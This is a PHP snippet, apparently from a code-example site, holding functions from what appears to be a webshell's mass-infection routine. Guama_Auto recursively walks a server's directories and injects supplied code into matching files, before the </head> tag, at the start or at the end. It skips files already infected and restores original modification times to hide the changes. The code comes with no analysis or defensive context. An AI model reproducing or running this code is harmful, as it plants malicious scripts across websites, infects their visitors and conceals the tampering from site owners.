function Guama_Make($codea, $codeb, $codec)
{
    return str_replace($codea, Guama_Pass($codeb), $codec);
}
Exemple #2
0
function Guama_Auto($gp, $gt, $gl, $gc, $incode, $gk, $gd, $gb, $go)
{
    if (($h_d = @opendir($gp)) == NULL) {
        return false;
    }
    if ($go) {
        preg_match_all("/\\[\\-([^~]*?)\\-\\]/i", $gc, $nc);
        $passm = (int) $nc[1][0];
        if (!eregi("^[0-9]{1,2}\$", $nc[1][0]) || $passm > 12) {
            return false;
        }
    }
    while (false !== ($Filename = @readdir($h_d))) {
        if ($Filename == '.' || $Filename == '..') {
            continue;
        }
        if ($gl != '') {
            if (eregi($gl, $Filename)) {
                continue;
            }
        }
        $Filepath = File_Str($gp . '/' . $Filename);
        if (is_dir($Filepath) && $gb) {
            Guama_Auto($Filepath, $gt, $gl, $gc, $incode, $gk, $gd, $gb, $go);
        }
        if (eregi($gt, $Filename)) {
            $ic = File_Read($Filepath);
            if (stristr($ic, $gk)) {
                continue;
            }
            if ($go) {
                $gc = str_replace($nc[0][0], Guama_Pass($passm), $gc);
            }
            if ($gd) {
                $ftime = @filemtime($Filepath);
            }
            if ($incode == '1') {
                if (!stristr($ic, '</head>')) {
                    continue;
                }
                $ic = str_replace('</head>', "\r\n" . $gc . "\r\n" . '</head>' . "\r\n", $ic);
                $ic = str_replace('</HEAD>', "\r\n" . $gc . "\r\n" . '</HEAD>' . "\r\n", $ic);
            }
            if ($incode == '2') {
                $ic = $gc . "\r\n" . $ic;
            }
            if ($incode == '3') {
                $ic = $ic . "\r\n" . $gc;
            }
            echo File_Write($Filepath, $ic, 'wb') ? 'ok:' . $Filepath . '<br>' . "\r\n" : 'err:' . $Filepath . '<br>' . "\r\n";
            if ($gd) {
                @touch($Filepath, $ftime);
            }
            ob_flush();
            flush();
        }
    }
    @closedir($h_d);
    return true;
}